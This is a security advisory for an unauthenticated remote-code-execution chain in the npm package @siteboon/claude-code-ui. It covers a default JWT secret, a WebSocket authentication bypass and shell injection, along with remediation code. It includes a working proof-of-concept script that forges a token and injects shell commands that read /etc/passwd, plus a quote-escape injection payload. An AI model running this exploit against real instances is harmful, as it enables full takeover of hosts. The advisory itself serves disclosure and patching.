@siteboon/claude-code-ui
Affected
- introduced
0, fixed1.25.0(semver)
Fixed versions
1.25.0
Fix
- Fixed version
1.25.0npm install @siteboon/[email protected]
Advisory
Also known as: CVE-2026-31975
@siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection
Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection
Download: cve_claudecodeui_submission_v2.zip
Submission Info
| Field | Value |
|-------|-------|
| Package | @siteboon/claude-code-ui |
| Ecosystem | npm |
| Affected versions | <= 1.24.0 (latest) |
| Severity | Critical |
| CVSS Score | 9.8 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-1188, CWE-287, CWE-78 |
| Reported | 2026-03-02 |
| Researcher | Ethan-Yang (OPCIA) |
---
Summary
Three chained vulnerabilities allow unauthenticated remote code execution on any
claudecodeui instance running with default configuration. No account, credentials, or
prior access is required.
The root cause of RCE is OS command injection (CWE-78) in the WebSocket shell
handler. Authentication is bypassed by combining an insecure default JWT secret
(CWE-1188) with a WebSocket authentication function that skips database user
validation (CWE-287).
---
Vulnerability Details
1. Insecure Default JWT Secret — CWE-1188
File: server/middleware/auth.js, line 6
const JWT_SECRET = process.env.JWT_SECRET || 'claude-ui-dev-secret-change-in-production';
The server uses an environment variable for JWT_SECRET, but falls back to a
well-known default value when the variable is not set. Critically, JWT_SECRET is
not included in `.env.example`, so the majority of users deploy without setting it,
leaving the fallback value in effect.
Since this default string is published verbatim in the public source code, any attacker
can use it to sign arbitrary JWT tokens.
---
2. WebSocket Authentication Skips Database Validation — CWE-287
File: server/middleware/auth.js, lines 82–108
authenticateWebSocket() only verifies the JWT signature. It does not check
whether the userId in the payload actually exists in the database — unlikeauthenticateToken() which is used for REST endpoints and does perform this check:
// authenticateWebSocket() — VULNERABLE
const decoded = jwt.verify(token, JWT_SECRET);
return decoded; // ← userId never verified against DB
// authenticateToken() — CORRECT (REST endpoints)
const decoded = jwt.verify(token, JWT_SECRET);
const user = userDb.getUserById(decoded.userId); // ← DB check present
if (!user) return res.status(401)...
A forged token with a non-existent userId passes WebSocket authentication,
bypassing access control entirely.
---
3. OS Command Injection via WebSocket Shell — CWE-78
File: server/index.js, line 1179
shellCommand = `cd "${projectPath}" && ${initialCommand}`;
Both projectPath and initialCommand are taken directly from the WebSocket message
payload and interpolated into a bash command string without any sanitization,
enabling arbitrary OS command execution.
A secondary injection vector exists at line 1257 via unsanitized sessionId:
shellCommand = `cd "${projectPath}" && claude --resume ${sessionId} || claude`;
---
Proof of Concept
Requirements: Node.js, jsonwebtoken, ws
import jwt from 'jsonwebtoken';
import WebSocket from 'ws';
// Step 1: Sign a token with the publicly known default secret
const token = jwt.sign(
{ userId: 1337, username: 'attacker' },
'claude-ui-dev-secret-change-in-production'
);
// Step 2: Connect to /shell WebSocket — auth passes because
// authenticateWebSocket() does not verify userId in DB
const ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`);
ws.on('open', () => {
// Step 3: initialCommand is injected directly into bash
ws.send(JSON.stringify({
type: 'init',
projectPath: '/tmp',
initialCommand: 'id && cat /etc/passwd',
isPlainShell: true,
hasSession: false
}));
});
ws.on('message', (data) => {
const msg = JSON.parse(data);
if (msg.type === 'output') process.stdout.write(msg.data);
});
Actual output observed during testing:
uid=1001(user) gid=1001(user) groups=1001(user),27(sudo)
ubuntu
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Secondary vector — projectPath double-quote escape injection
ws.send(JSON.stringify({
type: 'init',
projectPath: '" && id && echo "pwned" # ',
provider: 'claude',
hasSession: false
}));
// Server executes: cd "" && id && echo "pwned" # " && claude
// Output: uid=1001... / pwned
---
Additional Findings
| CWE | Location | Description |
|-----|----------|-------------|
| CWE-306 | server/routes/auth.js:22 | /api/auth/register requires no authentication — first caller becomes admin |
| CWE-942 | server/index.js:325 | cors() with no options sets Access-Control-Allow-Origin: * |
| CWE-613 | server/middleware/auth.js:70 | generateToken() sets no expiresIn — tokens never expire |
---
Impact
Any claudecodeui instance accessible over the network where JWT_SECRET is not
explicitly configured (the default case, as it is absent from .env.example) is
vulnerable to:
.env files, API keys stored on the host)The attack requires zero authentication and succeeds immediately after
default installation.
---
Remediation
Fix 1 — Enforce explicit JWT_SECRET; remove insecure default
// server/middleware/auth.js
const JWT_SECRET = process.env.JWT_SECRET;
if (!JWT_SECRET) {
console.error('[FATAL] JWT_SECRET environment variable must be set');
process.exit(1);
}
Also add JWT_SECRET= to .env.example with a clear instruction to set a strong random value.
Fix 2 — Add DB user existence check in WebSocket authentication
const authenticateWebSocket = (token) => {
if (!token) return null;
try {
const decoded = jwt.verify(token, JWT_SECRET);
const user = userDb.getUserById(decoded.userId); // ← add
if (!user) return null; // ← add
return user;
} catch (error) {
return null;
}
};
Fix 3 — Replace shell string interpolation with spawn argument array
// Instead of:
const shellProcess = pty.spawn('bash', ['-c', `cd "${projectPath}" && ${initialCommand}`], ...);
// Use:
const shellProcess = pty.spawn(initialCommand.split(' ')[0], initialCommand.split(' ').slice(1), {
cwd: projectPath // pass path as cwd, not shell string
});
Fix 4 — Additional hardening
expiresIn: '24h' to generateToken()/api/auth/register to localhost on initial setup---
Timeline
| Date | Event |
|------|-------|
| 2026-03-02 | Vulnerabilities discovered and verified via PoC |
| 2026-03-02 | Private advisory submitted to maintainer |
| 2026-06-01 | Public disclosure (90-day deadline) |
High Basis: The source's own band: HIGH
0, fixed 1.25.0 (semver)1.25.0
1.25.0npm install @siteboon/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0